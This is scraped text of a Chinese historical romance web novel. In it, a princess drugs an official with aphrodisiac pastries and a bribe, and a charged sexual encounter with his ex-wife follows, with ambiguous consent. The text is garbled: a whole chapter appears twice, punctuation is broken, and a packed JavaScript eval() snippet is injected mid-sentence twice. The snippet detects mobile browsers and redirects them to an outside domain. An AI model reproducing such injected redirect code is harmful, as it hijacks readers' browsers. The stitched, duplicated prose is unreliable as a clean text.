他虽已退出内阁、人也在丁忧之中,然而礼部事务杂冗繁多,加上秋闱将至,案头上堆成小山的公文一点一点变矮,容津岸是一旦开始投入工作便再难分心之人,故而万夫人来了一趟又走,他除了礼貌应对几句,并未放在心上。 大雨并未停歇,不知过了多久,容文乐进来,揭开桌案上的灯罩,将满手蜡泪换下,忍不住对容津岸道: “大人,公务是忙不完的,不若歇息片刻。” 那茶盏中的茶汁早已凉透,容津岸却连一口都没动过。 眼见自家主子全神贯注,容文乐又打开万夫人留下的食盒,细细往里一瞧,淡笑: “这份四叶奶黄酥手艺精巧,万夫人有心了。” “她那个夫君,成事不足败事有余,”容津岸这才开了口,手中的狼毫未停,豆大的烛光里,眉眼仿若笼罩着烟云, “若是送几碟点心就能官运亨通,哪里还有人愿意十年寒窗。” “大人的一贯作风,他们未必不知,一碟点心,料想万夫人只是顺手一送……”容文乐盯着松松软软的奶黄酥,口舌生津,“大人,你不介意小的替你来尝尝吧?” 容津岸睨过来,容文乐将食盒内的银箸递上,摸了摸鼻子:“小的随口一说,大人海量汪涵,不会跟小的一般见识吧?” “人小鬼大。”容津岸眉宇间烟云散去,他笑容清淡,好似春日的一缕清风。 这人连进食的姿态都优雅得体,容文乐瞧着,为他换上滚烫的茶水,正想再问味道如何,余光里却见,那盛放着四叶奶黄酥的永宣青花碟下,有一角旁的东西若隐若现。 拿出来,竟然是几张叠好的银票,加加总总,数额有一万两。 “一万两,岂不是……”容文乐眉头皱紧,心头的答案呼之欲出: “康和县主,这食盒是她的?” 谁料与此同时,原本面容端肃的容津岸,突然神色一变,银箸投落桌案,径直站了起来。 “备车,去客栈。”仔细听来,容津岸的声音竟然带着极强的、隐忍的颤抖。 容文乐自然不需要多问这个“客栈”到底是指的哪一家,只是在他应诺后,容津岸又冷冷吩咐: “银票收下,点心是罪证,仔细些。” 而此刻的值房门外,由于等候的时间着实太长,康和县主早已因为疲累不堪而与婢女靠坐昏睡,并未发觉她守株待兔了两三个时辰的容津岸,竟绕了道,从府衙的后门离开。 “大人,你的脸色发红,看起来实在是不妥当。” 马车上,容文乐满心都是担忧。 容津岸的面容俊朗依旧,然而额头上突兀的汗珠,颗颗分明滚落下来,淡和从容的眼也微微泛红,实在不寻常。 “不如去医馆,让郎中大夫看看?”容文乐小心提议。 那奶黄酥有问题,证据确凿,为何大人不将那罪魁祸首康和县主直接拿下,反而要去找叶娘子? 再说,若那奶黄酥中所加的药果真是他心中料想的那个,大人见到叶娘子,指不定会发生些什么后果不堪之事。 叶娘子的那个宁折不弯的脾气…… 容文乐不敢深想。 大雨依然在下,将大雨摇晃的车帘打得劈啪作响,车夫得了令加快速度,也将拉车的马屁.股抽得飞快,啪,啪,啪。 很快便到达客栈门口,容津岸轻车熟路,上到顶楼。 已近戌时末,问鹂和见雁正准备自行梳洗,忽然听到房间大门传来声响,不由得面面相觑。 然而敲门声并未断绝,两人共同行来,开门,却见到根本不该在此时此刻出现的容津岸。 昔日的姑爷一身紫蓝官袍,胸前的补子上绣着只有正二品大员才有的飞天仙鹤,不见官帽,高束的发髻落满雨水,就连他棱角分明的脸上,也还有几颗缓缓下落的雨珠。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14412272|151876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “容、容大人……”见雁惊得双目大张,一向干练果敢的她,竟也期期艾艾起来。 然而问鹂毕竟经历过当日在山中庄园时容津岸擅闯一事,轻轻握了握见雁的手腕,对容津岸从容道: “我家先生已经就寝,容大人有什么事,奴婢可以代您转达——” “你们两个都出去,不准让任何人进来,”却被容津岸抢白,“我有事,必须要单独见薇薇。” 问鹂和见雁对视一眼,都很为难,又同时看向容津岸,却见一向清冷自持的年轻权臣双目通红,扫过来的目光犀利如剑,薄唇抿成一条线,下巴紧绷,额角甚至隐隐有青筋凸.起。 不知怎的,两个婢女竟然同时打起了寒噤,又同时对视一眼,不约而同往外走,把房间让出来,还顺手关上了门。 叶采薇已沐浴更衣,此时正坐于桌案之前,手边是为梅若雪和叶琛精心挑选的手信,墨刚研好,柔荑执笔,给远在京城的温谣回信。 这封信已经足足耽误了月余,今晚她才整理出思绪来,却不想刚落笔两行,便被门口的声响打断。 起身的同时,急促的脚步已至,叶采薇回头,容津岸高大挺拔的身影立于她身前,几乎只有两步的距离。 与他相识八年,从没有过这样一刻,让她觉得被他的阴影压住。 “你……你……”惊骇盖过理智,千万句疑问和攻击,都被压在了喉咙里,叶采薇瞪圆了杏眼。 “薇薇,我骗了你。”一身狼狈的容津岸,开口却是一句出乎意料的话。 他的眼角有水珠滚过,是混杂着汗水的雨水,“我并没有奚子瑜的音讯,他也根本没有到应天来。” 他睇过来:“还有昨晚上,我和国子监的同窗已经吃过饭了,我没有来接你。” 叶采薇怀疑自己听错了,这人向来把光风霁月的面子功夫做得很足,怎么三两句无关紧要的话,还夹杂着轻微的喘.息? 真的只为说这三两句无关紧要的话吗? 她不敢骗自己,容津岸的眼神,分明是不清白的。 “骗我就骗我,反正你过去也满口谎言。”她在“骗”这个字上做文章,视线偏移,语气冷硬, “我不在乎了,我这小小一方天地,也供不起你这尊大佛。” 她今晚沐浴时洗了头发,在阑风长雨的声响中用炭火烘干。她穿着海棠红的鱼牙绸睡袍,玲珑的曲线,娇嫩嫩的颜色,刚刚烘干的如瀑青丝被随意放于单侧香肩,露出另一侧纤长细腻的玉颈。 脚上的木屐似乎还滢着水汽,似是察觉容津岸的视线落下,嫩生生的脚趾先是一蜷,而后整只玉足后缩,藏入海棠红睡袍轻软的下摆,仿佛欲说还休,欲说还休。 “你也对我撒了谎,你明知道我误会了你和奚子瑜,却并没有澄清,你撒谎了。薇薇,你撒谎了。”容津岸的喘.息更甚,小山尖一样的喉结上下滚动。 “那就打平,”叶采薇心跳莫名加快,“你我打平——” 可谁知话音未落,男人竟驰奔过来,落入他怀抱里的感受,湿哒哒又燥热得不像话。 他坐在了方才她坐的圈椅里,他让她坐在他的怀里。 早已预料到她会反抗,容津岸先一步握住了她的腕子,叶采薇瞠目,稍稍挪动,有不容忽视的存在,躁动,蓬勃,甚至还有愈演愈烈的趋势。 从前的亲密无间太过刻骨,以至于明知眼下时移世易,脑海却只剩一片空白。 容津岸倾身,滚烫的呼吸落在她露出的那截细腻的玉颈上,仿佛下一瞬,就要将她彻底吞噬: “薇薇,小老虎,小猫。” “我中毒了,药石无灵,该死,该死。” “乖,像以前一样,帮帮我。” 握 第18章 药性发作 18 应天的大雨下了整日整夜,直到第二日的日晡时分,仍未有停歇。 大雨中,一辆华美贵丽的马车停在府衙门口,却迟迟不见有人下车。 马车之中,康和县主手持镶嵌玳瑁的菱花铜镜,反复自照,欣赏着镜中自己精心打扮的花容月貌。可以说,为了这一场会面,她从头发丝武装到了脚趾缝。 "你说,本县主这般天生丽质,貌美如花,若是再主动投怀送抱,津岸哥哥一定会回心转意的吧?”刻意高挑的细眉难掩得意之色。 又想起什么,冷哼一声: "当年一定是那叶采薇不知羞耻,用尽了下作手段,津岸哥哥才中了她的奸计被她所迷,根本没有动真心!婢女当然知晓她的心思,眯着眼夸道:“县主你独一无二,叶氏那等贱.人,岂是可以与你相提并论的?县主你可是用玫瑰花瓣整整沐浴了三遍,从里到外每一件衣裳,都是娇滴滴香喷喷的,就连奴婢看了,都忍不住心动呢!” “奴婢敢保证,只要容大人一见到县主,保管被县主你迷得如痴如醉,根本舍不得撒手!‘一想到昨晚在避火图上看到的那些活色生香,和津岸哥哥温香软玉、绵绵情意,康和县主心头的小鹿扑腾扑腾乱撞,脸颊红透,羞答答地捏了捏婢女的上臂。食盒中的四叶奶黄酥,放了足量的暖情合.欢之药,任谁吃两口,都会情不自禁情动不已。康和县主提上食盒,示意婢女为她撑伞,两人下车。大雨中视线模糊,主仆二人刚刚走出马车的车厢,康和县主却眼尖,一下认出,前方台阶上的背影,是昨晚在金陵酒楼一同吃饭的其中一位夫人。这位夫人的夫君姓万,就是昨晚饭局上最先开口嘲讽容津岸"善于钻营人脉”的那位,平日里在私下便已时常就此发牢骚,倒是不知容津岸与叶采薇的私事。也正基于此,万夫人想到昨晚那波折丛生的饭局,至今仍旧心有余悸,是以,面对康和县主的亲呢和主动,她根本招架不住。 “哎呀,还是我年轻不懂事,跟容大人闹小姑娘脾气。虽然呢,他比我大了整整一轮,但我也不能因此恃宠生娇,事事都指望他无底线的包容,男人嘛,男人的面子有多重要?‘ 康和县主乖巧得很, ”容大人因此恼了我,把我一个人丢下跑过来办差,事业为重。我冷静下来一想,原是我的错,就赶紧亲手做了他最爱的四叶奶黄酥,过来真心实意地赔礼道歉。”番姿态极低的柔弱攻势下来,见万夫人神色松动,康和县主又将手中提着的食盒往上掂了掂,笑得格外天真:“容大人他还在恼我,必不会愿意见我,但夫人你不一样.. 万夫人耳根子软、心肠也特别软,别人说什么她都能信,昨晚饭局上得到的消息真真假假,再一看今日如此大的雨,康和县主一个金尊玉贵的小姑娘,不仅亲自下厨,还冒着大雨亲自跑到府衙来向容津岸赔礼,又乖又可怜,二话不说便答应了下来。 俗话说得好,“宁拆十座庙,不毁一桩婚”,昨晚容津岸多半是气上了头,人家小两口的事,她当然乐于撮合。万夫人是官太太,康和县主又是三皇子那边的人,府衙哪里敢拦。两人肩并肩往里走,快要到容津岸的值房门口,康和县主见容文乐守在外面,便拉了万夫人躲在一旁,赧赧道: "若是被那容文乐看见我,恐怕影响到夫人,夫人菩萨心肠,三皇子面前,我也会为万大人多多美言的!”值房内只有容津岸一个人。 他虽已退出内阁、人也在丁忧之中,然而礼部事务杂冗繁多,加上秋闱将至,案头上堆成小山的公文一点一点变矮,容津岸是一旦开始投入工作便再难分心之人,故而万夫人来了一趟又走,他除了礼貌应对几句,并未放在心上。 大雨并未停歇,不知过了多久,容文乐进来,揭开桌案上的灯罩,将满手蜡泪换下,忍不住对容津岸道:“大人,公务是忙不完的,不若歇息片刻。’那茶盏中的茶汁早已凉透,容津岸却连一口都没动过。眼见自家主子全神贯注,容文乐又打开万夫人留下的食盒,细细往里一瞧,淡笑: “这份四叶奶黄酥手艺精巧,万夫人有心了。“她那个夫君,成事不足败事有余,”容津岸这才开了口,手中的狼毫未停,豆大的烛光里,眉眼仿若笼罩着烟云 “若是送几碟点心就能官运亨通,哪里还有人愿意十年寒窗。 “大人的一贯作风,他们未必不知,一碟点心,料想万夫人只是顺手一送.....”容文乐盯着松松软软的奶黄酥,口舌生津,“大人,你不介意小的替你来尝尝吧?容津岸睨过来,容文乐将食盒内的银箸递上,摸了摸鼻子:“小的随口一说,大人海量汪涵,不会跟小的一般见识吧?, “人小鬼大。”容津岸眉宇间烟云散去,他笑容清淡,好似春日的一缕清风。 这人连进食的姿态都优雅得体,容文乐瞧着,为他换上滚烫的茶水,正想再问味道如何,余光里却见,那盛放 着四叶奶黄酥的永宣青花碟下,有一角旁的东西若隐若现。拿出来,竟然是几张叠好的银票,加加总总,数额有一万两。 “一万两,岂不是.....”容文乐眉头皱紧,心头的 答案呼之欲出: “康和县主,这食盒是她的?” 谁料与此同时,原本面容端肃的容津岸,突然神色一变,银箸投落桌案,径直站了起来。“备车,去客栈。”仔细听来,容津岸的声音竟然带着极强的、隐忍的颤抖。 容文乐自然不需要多问这个“客栈”到底是指的哪一家, 只是在他应诺后, 容津岸又冷冷吩咐: “银票收下,点心是罪证,仔细些。”而此刻的值房门外,由于等候的时间着实太长,康和县主早已因为疲累不堪而与婢女靠坐昏睡,并未发觉她守株待兔了两三个时辰的容津岸,竟绕了道,从府衙的后门离开。 “大人,你的脸色发红,看起来实在是不妥当。''马车上,容文乐满心都是担忧。 容津岸的面容俊朗依旧,然而额头上突兀的汗珠,颗颗分明滚落下来,淡和从容的眼也微微泛红,实在不寻常。“不如去医馆,让郎中大夫看看?”容文乐小心提议。那奶黄酥有问题,证据确凿,为何大人不将那罪魁祸首康和县主直接拿下,反而要去找叶娘子?再说,若那奶黄酥中所加的药果真是他心中料想的那个,大人见到叶娘子,指不定会发生些什么后果不堪之事。叶娘子的那个宁折不弯的脾气..... 容文乐不敢深想。 大雨依然在下,将大雨摇晃的车帘打得劈啪作响,车夫得了令加快速度,也将拉车的马屁.股抽得飞快,啪,啪,啪。 很快便到达客栈门口,容津岸轻车熟路,上到顶楼。已近戌时末,问鹂和见雁正准备自行梳洗,忽然听到房间大门传来声响,不由得面面相觑。然而敲门声并未断绝,两人共同行来,开门,却见到根本不该在此时此刻出现的容津岸。昔日的姑爷一身紫蓝官袍,胸前的补子上绣着只有正二品大员才有的飞天仙鹤,不见官帽,高束的发髻落满雨水,就连他棱角分明的脸上,也还有几颗缓缓下落的雨珠。“容、容 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14578469|151876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大人.....”见雁惊得双目大张,一向干练果敢的她,竟也期期艾艾起来。 然而问鹂毕竟经历过当日在山中庄园时容津岸擅闯一事,轻轻握了握见雁的手腕,对容津岸从容道:“我家先生已经就寝,容大人有什么事,奴婢可以代您转达- “你们两个都出去,不准让任何人进来,”却被容津岸抢白,“我有事,必须要单独见薇薇。”问鹂和见雁对视一眼,都很为难,又同时看向容津岸,却见一向清冷自持的年轻权臣双目通红,扫过来的目光犀利如剑,薄唇抿成一条线,下巴紧绷,额角甚至隐隐有青筋凸.起。 不知怎的,两个婢女竟然同时打起了寒噤,又同时对视一眼,不约而同往外走,把房间让出来,还顺手关上了门。 叶采薇已沐浴更衣,此时正坐于桌案之前,手边是为梅若雪和叶琛精心挑选的手信,墨刚研好,柔荑执笔,给远在京城的温谣回信。 这封信已经足足耽误了月余,今晚她才整理出思绪来,却不想刚落笔两行,便被门口的声响打断。起身的同时,急促的脚步已至,叶采薇回头,容津岸高大挺拔的身影立于她身前,几乎只有两步的距离。与他相识八年,从没有过这样一刻,让她觉得被他的阴影压住。 "你.... ..你......”惊骇盖过理智,千万句疑问和攻击,都被压在了喉咙里,叶采薇瞪圆了杏眼。“薇薇,我骗了你。”一身狼狈的容津岸,开口却是一句出乎意料的话。 他的眼角有水珠滚过,是混杂着汗水的雨水,“我并没有奚子瑜的音讯,他也根本没有到应天来。''他睇过来:“还有昨晚上,我和国子监的同窗已经吃过饭了,我没有来接你。 叶采薇怀疑自己听错了,这人向来把光风霁月的面子功夫做得很足,怎么三两句无关紧要的话,还夹杂着轻微的喘.息? 真的只为说这三两句无关紧要的话吗?她不敢骗自己,容津岸的眼神,分明是不清自的。“骗我就骗我,反正你过去也满口谎言。”她在"骗”这个字上做文章,视线偏移,语气冷硬,”我不在乎了,我这小小一方天地,也供不起你这尊大佛。” 她今晚沐浴时洗了头发,在阑风长雨的声响中用炭火烘干。她穿着海棠红的鱼牙绸睡袍,玲珑的曲线,娇嫩嫩的颜色,刚刚烘干的如瀑青丝被随意放于单侧香肩,露出另一侧纤长细腻的玉颈。 脚上的木屐似乎还滢着水汽,似是察觉容津岸的视线落下,嫩生生的脚趾先是一蜷,而后整只玉足后缩,藏入海棠红睡袍轻软的下摆,仿佛欲说还休,欲说还休。“你也对我撒了谎,你明知道我误会了你和奚子瑜,却并没有澄清,你撒谎了。薇薇,你撒谎了。”容津岸的喘息更甚,小山尖一样的喉结上下滚动。“那就打平,”叶采薇心跳莫名加快,“你我打平一-”可谁知话音未落,男人竟驰奔过来,落入他怀抱里的感受,湿哒哒又燥热得不像话。 他坐在了方才她坐的圈椅里,他让她坐在他的怀里。早已预料到她会反抗,容津岸先一步握住了她的腕子,叶采薇瞠目,稍稍挪动,有不容忽视的存在,躁动,蓬勃,甚至还有愈演愈烈的趋势。 从前的亲密无间太过刻骨,以至于明知眼下时移世 易,脑海却只剩一片空白。 容津岸倾身,滚烫的呼吸落在她露出的那截细腻的玉颈上,仿佛下一瞬, 就要将她彻底吞噬: ”薇薇,小老虎,小猫。’ “我中毒了,药石无灵,该死,该死。”“乖,像以前一样,帮帮我。’ 汗印 第20章 汗印 20 叶采薇是实话实说的。 此刻的她坐在桌案,螓首居高临下,即使视线模糊,也能将容津岸的神色看得真切分明。他的眼神,因为她的那句话而黯淡了下来。她在容津岸的上方,难得有这样的时刻。说不出他是失望还是烦躁,皮肤仍旧红着,鬓发被汗水浸湿,他的眉峰眼尾向来如云山雾罩,此刻则更像置于滚热的温泉氤氲。 她以为他会停下来。 越是往上,距离潮涌的发端越近,容津岸的长指凹握,在她的腓胫上形成陷窝,小小的几个。白璧因他而微瑕。 所以她也想要破坏他: “外面的人,知道容大人,你的如意算盘这么精明吗?’ 然而话说出口,她才发觉自己竟然也有些微的喘,她努力平复: "连癸水的日子,都能被你算计进来。’“所以,你不去找你的红颜知己,也是因为早就算到她们不方便了,是不是?我说的没错吧。’她不知道为何心底生出了闷钝的痛意,她挪动撑在桌案上的手掌,竟留下一片湿哒哒的汗印。容津岸再一次选择充耳不闻。 几乎同时,底料却被挑起,被他的长指勾缠,很快沿着光滑的腓胫退下,可怜巴巴地挂在一边的脚踝上,想要找寻他方才攥握留下的痕迹,却根本一无所获。“新鲜摘下来的香桃,一分为二切开。’叶采薇眼睁睁看着他埋了下去。 感官无法封锁,就连听觉都格外灵敏,桃香四溢,她只能紧紧闭上眼睛 迢迢清溪,汨汨澎澧,襟江带湖,妫讷一水。泉源自下而上染遍绯色时,她心底的钝痛开始蔓延,再蔓延,头顶被纱幔围裹,她只能藏起来,藏在回忆里。无缘无故地怀想过去。 她的一生不长,才只有短短二十四年,要问她从何时起对容津岸动的心,她根本不识不知。甚至,那个关于是否为了容津岸才向六皇子退婚的答案,她也并非完全问心无愧。 她十一岁便被叶渚亭许配给了六皇子,那五年里,每年都有机会见上六皇子几面。 因着生母在一岁时亡故,叶采薇十分早熟,通晓什么是真正的男女之情。 而六皇子相貌粗鄙,无甚才能,纵使他们很早便被安排在一处“培养感情”,她也心知将来要嫁他为王妃,进而强迫自己去发现他的好处、学会欣赏他的优点,她也实在提不起半点兴趣。 六皇子六岁便获封楚王,是天下男子中最最尊贵的翘楚。而他的前途光明灿烂,人人可见,等到冠礼成婚后之藩,余生长留封地,荣华富贵享之不尽--在京中所有贵女眼里顶顶大好的婚事,却根本不是叶采薇想要的。她想要的,是与枕边人深刻的、灵魂的共鸣,就像叶渚亭与姚氏那样。 容津岸的出现,像是茫茫路途尽头多了一道黑漆漆的门,她茕茕孑立在高大幽暗的门前,攥着生了锈的黄铜门锁,反复摇晃,找不到开锁的钥匙。初初相识,她便知晓了容津岸那个惯于冷淡的脾性,不愉快的开局,还被解不清的误会穿凿得七零八落。但不断有机会出现。 那时候,他们是一群不过二十岁上下的青年男女,国子监有余暇,便一同在叶府里读书学习。温谣和叶采薇是学堂里唯二的两名姑娘,从小交好的闺中蜜友,说起话来自在无拘;温谣的两位兄长也同在国子监,与容津岸奚子瑜二人在两处都是同窗;奚子瑜和叶采薇各自的祖父,曾同在内阁、是权倾天下的天子近臣,而恰好,同期的内阁首辅,便是温氏兄妹的外高祖父。相比起来,容津岸祖上务农,与他们都无瓜葛,仿似孑然一身,在这群官宦子女面前,显得那样格格不入。叶采薇偏要招惹他。 叶渚亭对所有的弟子一视同仁,倾囊相授,课堂上车马骈阗,下了课也是熙来攘往。温氏兄妹三人都喜欢围着叶采薇转,奚子瑜圆滑世故长袖善舞,也总爱借由祖上的渊源,参与他们几个的笑闹。 而文人骚客的诙诨,大多援经据典旁征博引,从三皇五帝到稗官野史,从经史子集到乡野杂谈,聊得兴起了,奚子瑜会用手肘碰一碰身旁专心致志的容津岸:“仲修,你觉得呢?我们两边争得面红耳赤,你竟然还能如此心无旁骛,升庵先生的《南诏野史》①什么时候不能读,非要当着我们的面?'' 容津岸长指翻过书页,淡淡睨过与他的沉阒截然相反的几人,仿佛在怪罪他们打扰了他入书海的宁静,又仿佛无波无澜。 叶采薇的心跳得厉害,方才的争辩里,她的声音最说话最振振有词,容津岸会特意多看她一-眼吗? 他没有。 他只是用枯黄的枫叶作书签,将满纸趣闻阖上,话语如眼神清淡: "双耳一闭,听不见声响,你们方才辩论什么,可再与我详说一二?’ 叶采薇时常嫌弃自己的矛盾。 她明明最喜欢他这副清高自持的模样,又偏偏最痛恨其凉薄冷淡,每到这种时候,都会忍不住和他作对。这次也不例外,她的眼刀斜斜飞了过去:“升庵先生怀抱大才,少年时意气风发,之后状元及第,前途一片大好。 。然而他一朝卷入风波,纵然有个官至首辅的父亲,也难逃一贬再贬、客死异乡的厄运。“用修、 仲修,都有一个‘修’字, 她故意靠近了些,挑衅的姿态,没有人能看穿她藏在最底的私念,都当她大方坦荡,她睇在容津岸修长凌厉的手指上 "杨用修当年状元及第、无人不服,凭你容仲修的才能,能不能中个举人,都是未知之数。要为你将来坎坷的仕途做准备,倒也不必如此提前。"这话实在尖锐刻薄,方才还言笑晏晏的几人脸色骤然凝固,温谣轻轻拉了拉叶采薇的袖口,想说些什么缓和气氛,又自觉笨嘴拙舌,只好作罢。 而被同窗攻讦的容津岸却自在从容。“叶大姑娘深谋远虑,容某敬谢不敏,”说着,他的脸上竟还难得浮起了一丝笑意,却仅仅止于唇角,眼底则愈发凛冽, “不过,叶大姑娘的担忧倒实在是多此一举,容某不才,仕途必会通达无阻。" 事实也果真如此,容津岸不仅有状元之才,在别的方面,同样天赋异禀。 就好比现在,柔佘清灵,桃核被鼎开,漾出无边无际的汪洋,全是叶采薇口是心非的证明。她躲不开,向后弓起,在单肩聚拢的青丝早已摇摇欲坠,因她这般动作,只能往后垂落,如飞瀑倾泻。因着实在难以自控,她只好追根溯源,她擎紧容津岸作乱的头颅,他高束的青丝被无欲无求的发簪困阻,灌湿沾雨,带来别样的水汽。 这个人高深莫测,是什么时候练就的这般神技?又有多少女子领教过、为之沉沦过? 一想到这个,叶采薇竟忍不住瑟瑟寒噤。熟龄的猫儿尽态极妍,婀娜缱绻,夜来寂静无人处,只有亲手将她喂养的主人,才知道她的曼妙娇娆和烟视媚行。 猫眼在茫茫夜色中汪了水。 容津岸却在此时昂首,他凉薄的嘴唇一张一合,像是回味,又像是品咂,那些都是来自她的:“薇薇,离开我以后,有多少男人见过你这副模样?‘听听,多么轻狂放浪,又多么伤人伤己的话?非要这样两败俱伤。 叶采薇鸦睫簌簌,不知何时滚落的泪珠滑过唇角,她咬着樱桃一样的唇瓣,斜睨身前这个男人。容津岸的神色晦暗不明。 所以她才要说: “他们、他们都比你好,至少,不会老是把我弄痛。’手心攥紧,心跳的声音格外分明。 叶采薇以为,他听到这样耻辱的话,一定会恼羞成怒。“是吗?”谁知他微微俯低,凑到她的耳边,佘尖的距离,仿佛随时都可以将她红透的耳珠卷入口中。“但原来那个时候,你总是不让我停,一次又一次缠上来,恨不得让我死在你这里,”湿润的薄唇若有似无地触碰,如鸿毛 “口是心非的本领,你那么早就学会了。”“叶采薇,我什么时候可以像你一样,恬不知耻地谎话连篇呢,嗯?'' 容津岸果然绝不会甘拜下风。 叶采薇乏软,根本无力推阻,只能任由他将她抱起,朝着床榻沉稳走去。 床榻被问鹂和见雁整理得又香又软,全是她的气味,如今被擅闯,始作俑者的容津岸,姿态却好似原本就是这里的主人。 他清冷的眸子里溢出猩红。 叶采薇被放下,她半眯着眼,望向直立的他,他利落地除掉了自己那象征高位的蓝紫色的官袍。只剩青白色的中衣遮蔽,赤涨愈发蓬勃旺盛,难以忽视。 容津岸上了榻,将软得不像话的小猫,半揽在了怀中。“从前我们惯用的那些药早失效了,这次回乡丁忧,我也不会带羊肠这种东西,”他找到她柔若无骨的手,抓住,“一次,说好了就这一次,微微,人而无信,不知其可也②。 说完,便引着她。叶采薇一只手根本不够,便只能将两只手都齐齐用上。 男人微微靠过来,清冷的俊容深埋,落在她的颈间,灼热的呼吸一深一浅地滚过。叶采薇双目紧闭,黛眉蹙起,不断提醒自己,忘记自己正在做着什么。其实她从前善于此道,乐此不疲,理所应当地认为,这是与容津岸最亲密的乐趣之一,时常主动。可是现在时移世易。 叶采薇再不是当年的叶采薇。 “容津岸,你是个混蛋,你脏死了......”实在难以消解心头莫名的情绪,她只能用言语发泄,再也管不得粗鄙或文雅。 “脏死了 “脏死了.... 热息仍在颈侧,她看不清他的表情。“是啊,脏死了,被小猫碰过,更是脏得不像话。”容津岸低低地笑。 因为紧张,叶采薇的侧颈绷成了一条线,他落在上面,若有似无地啜吻。 她不愿意再听到任何声音。 很久很久之后,连她都不知道过了多久,只知道仅余的力气即将用尽,可容津岸偏偏还没有半点结束的意思。“说好的,这一次之后,你再也不许来纠缠我,从我眼前消失!”叶采薇愤愤不平,眼泪不知什么时候挤满了眼眶, 她怒骂:“容津岸你真是该死!’ 后来她实在是累极,颓然倒下,翻身背对他,将小脸埋进松软的衾被,闷闷抱怨: “我累了,我要睡觉,容阁老,你自己看着办吧。"然后 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叶容安面容模糊,和他的渣爹一样冷冷淡淡地袖手旁观,偏偏她觉得他这样是对她这个老师十分不信任的鄙薄,便只能愈发卖力,但求将火生起来,让自己免于丢脸的尴尬。 就这样胡乱梦着梦着,一睁眼,天已经亮了。容津岸和她睡在同一张床榻,她的身旁,与她保持着井水不犯河水的距离。他一向浅眠,听到动静,也睁开眼来。 叶采薇先准备检查自己,却发现两手手心通红,容津岸慢条斯理地起身,“我让容文乐给你送点外伤药膏来,没破皮,应该很快就能好。‘ 他的中衣中裤未除,疏懒地包裹,半湿的蓝紫色官袍被他搭在松柏木的立架上,套上的时候,问她:“送送我?’ 那自然惬意的姿态,就好像他们只是旧友重逢,不小心宿醉而已。 叶采薇咬着唇。 罢了,说好的最后一面,从此再也不见,送送他也没什么大不了。 他遵守约定什么也没做,她抱着新衫,去了趟逼室梳洗更衣,出来时穿戴整齐,和容津岸一前一后,离开了房间。 与此同时,客栈楼下。 问鹂和见雁互相依偎着,打盹刚刚转醒,一旁是容文乐,与她俩一起守了一整晚。 从前,他们的主子还没和离的时候,三个人一同伺候,关系十分亲近,只是昨晚的场面太过尴尬,大家便都心照不宣,默契地闷成了葫芦,谁也没有多嘴任何一件事。天色渐亮,容文乐细致妥帖,顾着容津岸身上的官袍,去马车里拿了备好的外衫直裰,先一步上楼,给自家主子送去。 留下问鹂和见雁对视一眼,也觉得时辰差不多了,便起身准备同往。 “见到两位姑娘在此,先生应当已经起床了。"她们的身后却有男人的说话声。 是叶采薇住在别的客栈之中的学生,几个人神清气爽,齐齐整整。 原来,明日便是秋闱第一场入贡院的日子,叶采薇已经提前算好了,特意花费一整日将南直隶、江西、浙江等省历年的乡试题目全都重新做了一遍,昨日已经约定了他们今日一早来取,她顺便为他们再次逐一讲解,等到明日入贡院,刚好记忆犹新。 老师的安排如此细致入微、妥帖周全,学生们感激不尽。 老师的文采和见识自不必说,从前做的那些真题他们也拜读过,无一不佩服得五体投地,加上她为人正派且心地善良,他们私下里早就达成了一致,若是老师是个男儿身,定能在科场上所向披靡,官运青云直上。问鹂和见雁两相对视,这才恍然,昨晚容津岸突然到来,让她们双双忘记了此事,而眼下一时也不知该如何向几个兴致勃勃的青年交代,闪烁踌躇时,他们已然说说笑笑往客栈里走去。 而急着上楼的容文乐,处境也不好过。他捧着容津岸的外衫一路飞奔,即将路过佟归鹤所在的那层,想起了那晚上偷听到叶采薇为佟归鹤亲手包扎的事。 如果没有发生的话,也许前晚国子监同窗的聚餐,结局会完全是另一番光景。 容文乐暗自祈祷着,千万不要再遇到佟归鹤了,谁知一抬脚,却听到楼上那层有开门声,紧接着脚步往外行来,然后,容文乐便与佟归鹤迎头碰上。容文乐是容津岸的心腹,佟归鹤自然认得,短暂的错愕后,他的视线便自然而然,落在容文乐悉心捧着的衣衫上 这是.... 好巧不巧,叶采薇与容津岸也在此时一前一后下楼来。佟归鹤听到响动,抬起眼睛,只见他倾慕已久的老师穿一身鹅黄,青丝只松松扎在单侧,随意自然,而她身侧的容大人身着紫蓝色二品大员官袍,眉眼颇为惬意。好一对郎才女貌的璧人! 佟归鹤被自己的想法吓得浑身一抖,连基本的礼节都抛诸脑后,反复嗫嚅,心底里快要冲破的话,竟脱口而出:“你们、你们,昨晚在一起过夜了?’容津岸若有似无地笑。 “是,不小心喝醉了酒,就歇下了。”目光悠然地扫过来,仿佛在说一件再寻常不过之事,“要是早知道佟公子就住在楼下,容某就不打扰你的先生了。’ 话音未落,又有嘈杂的上楼脚步,是叶采薇其他的学生,之后跟着面色难堪的问鹂和见雁。他们全都听到了。 大白 第21章 大白 21 这间客栈地处应天繁华街段,迎来送往,也算见过了不少大世面。 然而这一次,却是前所未有的尴尬与混乱。小小的楼梯口,上上下下挤满了人。 但学生们从楼下带上来的嘈杂戛然而止,他们听到了容津岸和佟归鹤的对话,好奇心作祟,原是想立刻交头接耳的,又觉得气氛不对。 便只剩下了诡异的安静。 